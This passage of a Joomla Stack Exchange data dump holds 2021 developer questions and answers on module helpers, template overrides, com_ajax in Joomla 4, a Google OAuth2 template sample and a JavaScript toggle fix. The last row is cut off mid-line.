  <row Id="31571" PostTypeId="2" ParentId="28650" CreationDate="2021-09-27T15:32:21.050" Score="0" Body="&lt;p&gt;@Eoin's snippet works perfectly other than it should be &lt;code&gt;JFactory&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Load the namespacing for Factory (the new way instead of JFactory)&#xA;use Joomla\CMS\Factory;&#xA;&#xA;// Load the module position&#xA;&amp;lt;?php echo JFactory::getApplication()-&amp;gt;getDocument()-&amp;gt;loadRenderer('modules')-&amp;gt;render(&amp;quot;logo&amp;quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15750" LastEditorUserId="12352" LastEditDate="2021-09-27T21:38:34.890" LastActivityDate="2021-09-27T21:38:34.890" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31572" PostTypeId="2" ParentId="31489" CreationDate="2021-09-28T02:14:00.887" Score="2" Body="&lt;p&gt;Since you are talking about a module, and your code and comments indicate that you are trying to get a specific article by its ID, your module helper should look like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Joomla\Module\YourModuleName\Site\Helper&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;&#xA;abstract class YourModuleNameHelper&#xA;{&#xA;    // I saw in your comment before, you trying get the&#xA;    // ID of the article using the url param&#xA;    // so I will assume you want to get the article ID&#xA;    // when you are in a article view&#xA;    public static function getArticle(&amp;amp;$params)&#xA;    {&#xA;        $app = Factory::getApplication();&#xA;        if (&#xA;            $app-&amp;gt;input-&amp;gt;get('option') === 'com_content'&#xA;            &amp;amp;&amp;amp; $app-&amp;gt;input-&amp;gt;get('view') === 'article'&#xA;        ) {&#xA;               // Save to here all the datas you need return&#xA;               $items = new \stdClass;&#xA;&#xA;               // Get the article ID&#xA;               $article_id = $app-&amp;gt;input-&amp;gt;getInt('id');&#xA;&#xA;               // Set application parameters in model&#xA;               $appParams = $app-&amp;gt;getParams();&#xA;               &#xA;               // The article model&#xA;               $model = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory()-&amp;gt;createModel('Article', 'Site', ['ignore_request' =&amp;gt; true]);&#xA;               &#xA;               // Please, use any other filter as you need&#xA;               $model-&amp;gt;setState('params', $appParams);&#xA;               $model-&amp;gt;setState('filter.published', 1);&#xA;               $model-&amp;gt;setState('article.id', (int) $article_id);&#xA;&#xA;               $article = $model-&amp;gt;getItem();&#xA;&#xA;               // Get the custom fields&#xA;               $fields = [];&#xA;               $jcfields = FieldsHelper::getFields('com_content.article', $article);&#xA;               if (!empty($jcfields)) {&#xA;                   foreach ($jcfields as $field) {&#xA;                       $fields[$field-&amp;gt;name] = $field;&#xA;                   }&#xA;               } &#xA;               &#xA;               $items-&amp;gt;fields = $fields;&#xA;       &#xA;               // rest of the code... like get the title, introtext etc&#xA;&#xA;               return $items;    &#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8256" LastEditorUserId="12352" LastEditDate="2021-09-28T02:39:07.327" LastActivityDate="2021-09-28T02:39:07.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31573" PostTypeId="1" CreationDate="2021-09-29T09:56:12.760" Score="0" ViewCount="46" Body="&lt;p&gt;When I create an overide in Joomla using the create override button it creates an override like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;blog_item-29-09-2021&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but then Joomla complains that it wants the &lt;code&gt;_item&lt;/code&gt; at the end like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;blog-29-09-2021_item&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Either way is fine by me but Joomla is creating them in a certain way which confuses me.&lt;/p&gt;&#xA;&lt;p&gt;Or is there some other way I should understand this?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-09-30T12:40:27.190" Title="Has the way Joomla Overrides works changed?" Tags="|overrides|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31574" PostTypeId="1" CreationDate="2021-09-29T12:23:53.717" Score="1" ViewCount="948" Body="&lt;p&gt;I searched almost all possible joomla forums to integrate a SPA with joomla 4. I have a SPA with react ready and I want to display it on the administrator side as a component. The only problem is the bundled react files dont seem to give out any output when added like this &lt;code&gt;$webasset-&amp;gt;useScript('path/to/media/script')&lt;/code&gt;. Can someone help me regarding this issue. The react app runs properly as a standalone but the problem only occurs when integrating with joomla.&lt;/p&gt;&#xA;" OwnerUserId="15758" LastActivityDate="2021-09-29T12:23:53.717" Title="React.Js with joomla 4" Tags="|javascript|joomla-4|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31575" PostTypeId="2" ParentId="31573" CreationDate="2021-09-30T12:40:27.190" Score="1" Body="&lt;p&gt;Assuming you override the blog view, the entry point to that view is the &lt;code&gt;blog.php&lt;/code&gt; file. But inside that file, a call to a &lt;code&gt;blog_item.php&lt;/code&gt; exists &lt;code&gt;$this-&amp;gt;loadTemplate('item');&lt;/code&gt;. That is why the override look for &lt;code&gt;_item.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2021-09-30T12:40:27.190" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31576" PostTypeId="1" CreationDate="2021-09-30T15:35:24.927" Score="0" ViewCount="26" Body="&lt;p&gt;I create a blog liste modèle category in joomla 4,  need some help to customise it&lt;/p&gt;&#xA;&lt;p&gt;In ordre to display item grouped by catégorie&#xA;Like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Cat 0 parent&#xA;  |_Cat1&#xA;     |_Item 1&#xA;     |_Item 2&#xA;  |_Cat2&#xA;     |_Item 1&#xA;     |_Item 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks for any help&lt;/p&gt;&#xA;" OwnerUserId="11362" LastEditorUserId="11362" LastEditDate="2021-09-30T21:14:33.677" LastActivityDate="2021-09-30T21:14:33.677" Title="Display liste of items grouped by catégorie" Tags="|template-override|joomla-4|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31577" PostTypeId="1" CreationDate="2021-10-02T13:46:53.320" Score="1" ViewCount="143" Body="&lt;p&gt;I have a central library &lt;code&gt;\libraries\mylib\&lt;/code&gt; containing some models, tables, helpers and stuff all of my components use.&lt;br /&gt;&#xA;I also have a folder there containing some custom fields i use.&lt;/p&gt;&#xA;&lt;p&gt;It is simple to tell Joomla where the fields are when caling it from the library:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FormHelper::addFieldPath(dirname(__FILE__) . '/forms/fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But Layouts for standard field types like &amp;quot;radio&amp;quot; are getting searched in the component and template folders and have priority.&lt;/p&gt;&#xA;&lt;p&gt;How can i tell the system to check first priority for alternative field layouts in this folder:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;\libraries\mylib\layouts\joomla\form\field\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2021-10-02T13:46:53.320" Title="Custom layout path for fields" Tags="|overrides|layout|fields|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31578" PostTypeId="1" CreationDate="2021-10-03T02:42:00.923" Score="4" ViewCount="1813" Body="&lt;p&gt;I'm trying to add an ajax call to Article Latest module.&lt;/p&gt;&#xA;&lt;p&gt;I added the code below to /modules/mod_articles_latest/src/Helper/ArticlesLatestHelper.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function getAjax()&#xA;    {&#xA;        $data = ['test'];&#xA;        return $data;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then manually added /modules/mod_articles_latest/helper.php and added these code :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;require_once JPATH_SITE . '/modules/mod_articles_latest/src/Helper/ArticlesLatestHelper.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I test it by call :&#xA;http://localhost/index.php?option=com_ajax&amp;amp;module=articles_latest&amp;amp;method=get&amp;amp;format=json&lt;/p&gt;&#xA;&lt;p&gt;Those steps above are working properly in Joomla 3.x but I got this unsuccessful message in Joomla 4 :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;success&amp;quot;:false,&amp;quot;message&amp;quot;:&amp;quot;Method getAjax does not exist.&amp;quot;,&amp;quot;messages&amp;quot;:null,&amp;quot;data&amp;quot;:null}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can anybody tell me what I'm missing here?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2021-10-03T05:29:21.427" LastActivityDate="2021-10-10T11:56:26.713" Title="Adding ajax call in a module for Joomla 4" Tags="|module|ajax|joomla-4.x|com-ajax|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31579" PostTypeId="1" CreationDate="2021-10-03T08:04:18.893" Score="1" ViewCount="108" Body="&lt;pre&gt;&lt;code&gt;**&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  Templates.bdcp&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2020 All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;&#xA;?&amp;gt;**&#xA;&amp;lt;!--&#xA;  Copyright (c) 2011 Google Inc.&#xA;  Licensed under the Apache License, Version 2.0 (the &amp;quot;License&amp;quot;); you may not&#xA;  use this file except in compliance with the License. You may obtain a copy of&#xA;  the License at&#xA;  http://www.apache.org/licenses/LICENSE-2.0&#xA;  Unless required by applicable law or agreed to in writing, software&#xA;  distributed under the License is distributed on an &amp;quot;AS IS&amp;quot; BASIS, WITHOUT&#xA;  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the&#xA;  License for the specific language governing permissions and limitations under&#xA;  the License.&#xA;  To run this sample, set apiKey to your application's API key and clientId to&#xA;  your application's OAuth 2.0 client ID. They can be generated at:&#xA;    https://console.developers.google.com/apis/credentials?project=_&#xA;  Then, add a JavaScript origin to the client that corresponds to the domain&#xA;  where you will be running the script. Finally, activate the People API at:&#xA;    https://console.developers.google.com/apis/library?project=_&#xA;--&amp;gt;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;  &amp;lt;head&amp;gt;&#xA;    &amp;lt;title&amp;gt;Say hello using the People API&amp;lt;/title&amp;gt;&#xA;    &amp;lt;meta charset='utf-8' /&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;  &amp;lt;body&amp;gt;&#xA;    &amp;lt;p&amp;gt;Say hello using the People API.&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;!--Add buttons to initiate auth sequence and sign out--&amp;gt;&#xA;    &amp;lt;button id=&amp;quot;authorize-button&amp;quot; style=&amp;quot;display: none;&amp;quot;&amp;gt;Authorize&amp;lt;/button&amp;gt;&#xA;    &amp;lt;button id=&amp;quot;signout-button&amp;quot; style=&amp;quot;display: none;&amp;quot;&amp;gt;Sign Out&amp;lt;/button&amp;gt;&#xA;&#xA;    &amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;      // Enter an API key from the Google API Console:&#xA;      //   https://console.developers.google.com/apis/credentials&#xA;      var apiKey = 'XXXXXXXXXX';&#xA;&#xA;      // Enter the API Discovery Docs that describes the APIs you want to&#xA;      // access. In this example, we are accessing the People API, so we load&#xA;      // Discovery Doc found here: https://developers.google.com/people/api/rest/&#xA;      var discoveryDocs = [&amp;quot;https://script.googleapis.com/$discovery/rest?version=v1&amp;quot;,&amp;quot;https://www.googleapis.com/discovery/v1/apis/drive/v3/rest&amp;quot;];&#xA;&#xA;      // Enter a client ID for a web application from the Google API Console:&#xA;      //   https://console.developers.google.com/apis/credentials?project=_&#xA;      // In your API Console project, add a JavaScript origin that corresponds&#xA;      //   to the domain where you will be running the script.&#xA;      var clientId = 'XXXXXXXXX.apps.googleusercontent.com';&#xA;&#xA;      // Enter one or more authorization scopes. Refer to the documentation for&#xA;      // the API or https://developers.google.com/people/v1/how-tos/authorizing&#xA;      // for details.&#xA;      //var scopes = 'profile';&#xA;var scopes = 'https://www.googleapis.com/auth/script.external_request  https://mail.google.com/ https://www.google.com/m8/feeds https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/documents https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/script.container.ui https://www.googleapis.com/auth/script.external_request https://www.googleapis.com/auth/script.scriptapp https://www.googleapis.com/auth/script.send_mail https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/userinfo.email';      &#xA;&#xA;      var authorizeButton = document.getElementById('authorize-button');&#xA;      var signoutButton = document.getElementById('signout-button');&#xA;&#xA;      function handleClientLoad() {&#xA;        // Load the API client and auth2 library&#xA;        gapi.load('client:auth2', initClient);&#xA;      }&#xA;&#xA;&#xA;      function initClient() {&#xA;        gapi.client.init({&#xA;            apiKey: apiKey,&#xA;            discoveryDocs: discoveryDocs,&#xA;            clientId: clientId,&#xA;            scope: scopes&#xA;        }).then(function () {&#xA;          // Listen for sign-in state changes.&#xA;          gapi.auth2.getAuthInstance().isSignedIn.listen(updateSigninStatus);&#xA;&#xA;          // Handle the initial sign-in state.&#xA;          updateSigninStatus(gapi.auth2.getAuthInstance().isSignedIn.get());&#xA;&#xA;          authorizeButton.onclick = handleAuthClick;&#xA;          signoutButton.onclick = handleSignoutClick;&#xA;        });&#xA;      }&#xA;&#xA;      function updateSigninStatus(isSignedIn) {&#xA;        if (isSignedIn) {&#xA;          authorizeButton.style.display = 'none';&#xA;          signoutButton.style.display = 'block';&#xA;          makeApiCall();&#xA;        } else {&#xA;          authorizeButton.style.display = 'block';&#xA;          signoutButton.style.display = 'none';&#xA;        }&#xA;      }&#xA;&#xA;      function handleAuthClick(event) {&#xA;        gapi.auth2.getAuthInstance().signIn();&#xA;      }&#xA;&#xA;      function handleSignoutClick(event) {&#xA;        gapi.auth2.getAuthInstance().signOut();&#xA;      }&#xA;&#xA;      // Load the API and make an API call.  Display the results on the screen.&#xA;      function makeApiCall() {&#xA;        /* do something */&#xA;      }&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;script async defer src=&amp;quot;https://apis.google.com/js/api.js&amp;quot; &#xA;      onload=&amp;quot;this.onload=function(){};handleClientLoad()&amp;quot; &#xA;      onreadystatechange=&amp;quot;if (this.readyState === 'complete') this.onload()&amp;quot;&amp;gt;&#xA;    &amp;lt;/script&amp;gt;&#xA;  &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Hello, I have a problem with google oauth2 authorization. This is a standard example of oauth2 that work fine if executed stand alone (without the first PHP header, in a php file in the root of website &lt;a href=&quot;https://www.xxxxx.xx/test.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.xxxxx.xx/test.php&lt;/a&gt;).&#xA;If I run it as joomla template (add the php header as the code above and move in a template folder) doesn't work. I see that after auth popup is opened the browser say 'Uncaught {error: 'popup_closed_by_user'}'; sometimes the popup is effectively close, sometimes still open but after login the listen function don't start .&#xA;Can you help me, please?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="15762" LastEditorUserId="15762" LastEditDate="2021-10-03T08:21:28.700" LastActivityDate="2021-10-03T08:21:28.700" Title="Oauth2 in joomla template" Tags="|templates|joomla-4.x|authentication|google|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31580" PostTypeId="2" ParentId="31578" CreationDate="2021-10-04T10:52:04.180" Score="2" Body="&lt;p&gt;I had two extra minutes to test this according to my previous comments under your question.&lt;/p&gt;&#xA;&lt;p&gt;I created a &lt;code&gt;helper.php&lt;/code&gt; inside the ArticlesLatest Module (root of that module) and created a class: &lt;code&gt;class ModArticlesLatestHelper&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This looks simply:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  mod_articles_latest&#xA; *&#xA; * @copyright   (C) 2006 Open Source Matters, Inc. &amp;lt;https://www.joomla.org&amp;gt;&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * added helper.php for mod_articles_latest&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class ModArticlesLatestHelper&#xA;{&#xA;    public static function getAjax()&#xA;    {&#xA;        $data = ['test'];&#xA;        return $data;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I just checked the response on the URL you provided:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/index.php?option=com_ajax&amp;amp;module=articles_latest&amp;amp;method=get&amp;amp;format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I just got a success response with the 'Test':&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;success&amp;quot;:true,&amp;quot;message&amp;quot;:null,&amp;quot;messages&amp;quot;:null,&amp;quot;data&amp;quot;:[&amp;quot;test&amp;quot;]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, it looks like that the problem was your inadequate class name inside your added &lt;code&gt;helper.php&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2021-10-04T10:52:04.180" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31582" PostTypeId="2" ParentId="28628" CreationDate="2021-10-05T17:21:43.743" Score="0" Body="&lt;p&gt;Not sure why a &lt;code&gt;intelephense.environment.includePaths&lt;/code&gt; is not useful for you, even when you can have a git clone of joomla in your environment, keep up to date (even you can change of branch for handle different versions) and point to there any new workspace folder you working on. You can set up globally, in this way any new workspace will have it, but is better have all this settings for each workspace in my opinion - this if you do not work only with Joomla.&lt;/p&gt;&#xA;&lt;p&gt;About &lt;code&gt;intelephense.stubs&lt;/code&gt; For single workspace it is very simple, and I follow the same I wrote before about having a git clone of joomla.&#xA;If you want add stubs globally, you still can, but I'm not sure if it's intended feature with custom stubs.&lt;/p&gt;&#xA;&lt;p&gt;About the error you mention, I just rebuild again in Linux/Ubuntu and without problem&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2021-10-05T17:21:43.743" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31584" PostTypeId="2" ParentId="31578" CreationDate="2021-10-09T22:10:39.627" Score="4" Body="&lt;p&gt;To use J4 style or custom naming conventions with AJAX you have to convert the module to new service-based format. At a minimum, service provider (&lt;code&gt;services/provider.php&lt;/code&gt;) needs to provide a module extension, a dispatcher factory and a helper factory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or exit;&#xA;&#xA;use Joomla\CMS\Extension\Service\Provider\HelperFactory;&#xA;use Joomla\CMS\Extension\Service\Provider\Module;&#xA;use Joomla\CMS\Extension\Service\Provider\ModuleDispatcherFactory;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;&#xA;return new class implements ServiceProviderInterface&#xA;{&#xA;    public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;registerServiceProvider(new ModuleDispatcherFactory('\\Joomla\\Module\\ArticlesLatest'));&#xA;        $container-&amp;gt;registerServiceProvider(new HelperFactory('\\Joomla\\Module\\ArticlesLatest\\Site\\Helper'));&#xA;        $container-&amp;gt;registerServiceProvider(new Module);&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;mod_articles_latest.php&lt;/code&gt; entry file is replaced by a dispatcher class. Default dispatcher factory constructs the class this way:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[Base Namespace]\[Application Name]\Dispatcher\Dispatcher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So with the above example namespace the class would be this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\Module\ArticlesLatest\Site\Dispatcher\Dispatcher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can use custom naming conventions, as well as inject dependencies by creating your own implementation of &lt;code&gt;Joomla\CMS\Dispatcher\ModuleDispatcherFactoryInterface&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For the dispatcher you can extend &lt;code&gt;Joomla\CMS\Dispatcher\AbstractModuleDispatcher&lt;/code&gt; or create your own implementation of &lt;code&gt;Joomla\CMS\Dispatcher\DispatcherInterface&lt;/code&gt;. The dispatcher should fetch the data and render the module layout. If extending the abstract dispatcher, override &lt;code&gt;getLayoutData()&lt;/code&gt; method to add the data you need. Strangely, neither the module extension instance, nor the helper is available in the dispatcher. You have to boot the module through application:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Joomla\Module\ArticlesLatest\Site\Dispatcher;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Dispatcher\AbstractModuleDispatcher;&#xA;&#xA;class Dispatcher extends AbstractModuleDispatcher&#xA;{&#xA;    protected function getLayoutData()&#xA;    {&#xA;        // Gets some common data like application instance, module instance, module params, etc.&#xA;        $data = parent::getLayoutData();&#xA;&#xA;        // Gets the module helper.&#xA;        $helper = $this-&amp;gt;app-&amp;gt;bootModule('mod_articles_latest', 'Site')-&amp;gt;getHelper('ArticlesLatestHelper');&#xA;&#xA;        $model = $this-&amp;gt;app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory()-&amp;gt;createModel('Articles', 'Site', ['ignore_request' =&amp;gt; true]);&#xA;&#xA;        // Data array will be extracted to variables, i.e. this will be accessible as $list in the layout.&#xA;        $data['list'] = $helper-&amp;gt;getList($data['params'], $model);&#xA;&#xA;        return $data;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Helper's class name is built simply from the namespace defined in helper factory plus the class name passed its &lt;code&gt;getHelper()&lt;/code&gt; method. In this example, the class would be &lt;code&gt;Joomla\Module\ArticlesLatest\Site\Helper\ArticlesLatestHelper&lt;/code&gt;. For custom naming conventions you could create your own implementation of &lt;code&gt;Joomla\CMS\Helper\HelperFactoryInterface&lt;/code&gt;. Except that not really because &lt;code&gt;com_ajax&lt;/code&gt; expects helper to be named in certain way. For this module &lt;code&gt;com_ajax&lt;/code&gt; would always pass &lt;code&gt;ArticlesLatestHelper&lt;/code&gt; to &lt;code&gt;getHelper()&lt;/code&gt; method. So your custom factory would still need to be aware of this format. This was a really bad decision by the developers which partly beats the purpose of having such factory in the first place... This would have been better off with AJAX-specific interface.&lt;/p&gt;&#xA;&lt;p&gt;Finally, some changes might be needed for the helper. Helpers must be instantiable, meaning they must not be abstract and must have public constructors (not necessary if using custom factory, e.g. which could call a &lt;code&gt;getInstance()&lt;/code&gt; method on the helper). This is in contrast to J3 helpers which were entirely static (at least in core modules).&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-10-10T11:56:26.713" LastActivityDate="2021-10-10T11:56:26.713" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31585" PostTypeId="1" CreationDate="2021-10-10T09:43:13.693" Score="0" ViewCount="66" Body="&lt;p&gt;I have some simple code that hides or shows a div (that will contain an embedded contact form) when a button is clicked.&lt;/p&gt;&#xA;&lt;p&gt;I first set it up in J4.0.3 and it works fine, but when I tried in J3.10.2 the code 'selector' is not recognised.&lt;/p&gt;&#xA;&lt;p&gt;Here is the code (which you can also see at [codepen.io][1]&lt;/p&gt;&#xA;&lt;p&gt;In J3 the 'selector' at the end of the second line is not highlighted in blue in the editor as it is in the first line and as the other elements - 'test', 'tests', etc are.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for (const selector of [&amp;quot;.toggle-form&amp;quot;]) {&#xA;    const tests = [...document.querySelectorAll(selector)];&#xA;    for (const test of tests) {&#xA;        test.addEventListener('click', () =&amp;gt; {&#xA;            tests.filter(f =&amp;gt; f !== test).forEach(f =&amp;gt; {&#xA;            f.classList.remove('form-opened');&#xA;            f.setAttribute(&amp;quot;aria-expanded&amp;quot;, &amp;quot;false&amp;quot;);&#xA;            });&#xA;        test.classList.toggle('form-opened');&#xA;        let ariaExpanded = test.classList.contains('form-opened').toString();&#xA;        test.setAttribute(&amp;quot;aria-expanded&amp;quot;, ariaExpanded);&#xA;        })&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Can anyone explain this and tell me what I need to do to make it work in J3x? Thanks.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: two screenshots showing Firefox inspector and debugger tabs&lt;/p&gt;&#xA;&lt;p&gt;[![Firefox inspector tab][2]][2]&lt;/p&gt;&#xA;&lt;p&gt;[![Firefox debugger tab][3]][3]&lt;/p&gt;&#xA;&lt;p&gt;[1]: &lt;a href=&quot;https://codepen.io/Scrabble96/pen/NWvWwOY&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codepen.io/Scrabble96/pen/NWvWwOY&lt;/a&gt;)&#xA;[2]: &lt;a href=&quot;https://i.stack.imgur.com/mtPF0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/mtPF0.jpg&lt;/a&gt;&#xA;[3]: &lt;a href=&quot;https://i.stack.imgur.com/WVfZL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/WVfZL.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13040" LastEditorUserId="13040" LastEditDate="2021-10-18T09:22:36.883" LastActivityDate="2024-03-06T15:07:01.083" Title="JavaScript toggle code works in J4 but not in J3" Tags="|joomla-3.x|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31586" PostTypeId="2" ParentId="31585" CreationDate="2021-10-10T13:59:48.033" Score="0" Body="&lt;p&gt;I'm not sure why it would be working in J4, but not J3. That said, you're unecessarily using nested &lt;code&gt;for&lt;/code&gt; loops, rather than a single &lt;code&gt;forEach&lt;/code&gt; iterator.&lt;/p&gt;&#xA;&lt;p&gt;You can use the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Create an array using Array.from(), so that we can filter later on&#xA;const toggles = Array.from(document.querySelectorAll('.toggle-form'));&#xA;&#xA;// Iterate over the array&#xA;toggles.forEach((toggle) =&amp;gt; {&#xA;    toggle.addEventListener('click', () =&amp;gt; {&#xA;      toggles&#xA;        .filter((f) =&amp;gt; f !== toggle)&#xA;        .forEach((f) =&amp;gt; {&#xA;          f.classList.remove('form-opened');&#xA;          f.setAttribute('aria-expanded', false);&#xA;        });&#xA;      toggle.setAttribute('aria-expanded', toggle.classList.contains('form-opened'));&#xA;      toggle.classList.toggle('form-opened');&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You might find this will also work on your J3 instance&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-10-10T13:59:48.033" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="31587" PostTypeId="2" ParentId="31538" CreationDate="2021-10-11T11:05:56.920" Score="1" Body="&lt;p&gt;The below code is mostly from Joomla's /includes/app.php but without the last line.&#xA;The last few lines then get information about the user and the user session.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', __DIR__);&#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;/*&#xA; * Alias the session service keys to the web session service as that is the primary session backend for this application&#xA; *&#xA; * In addition to aliasing &amp;quot;common&amp;quot; service keys, we also create aliases for the PHP classes to ensure autowiring objects&#xA; * is supported.  This includes aliases for aliased class names, and the keys for aliased class names should be considered&#xA; * deprecated to be removed when the class name alias is removed as well.&#xA; */&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Instantiate the application.&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&#xA;// Set the application as global app&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;$userInfo = 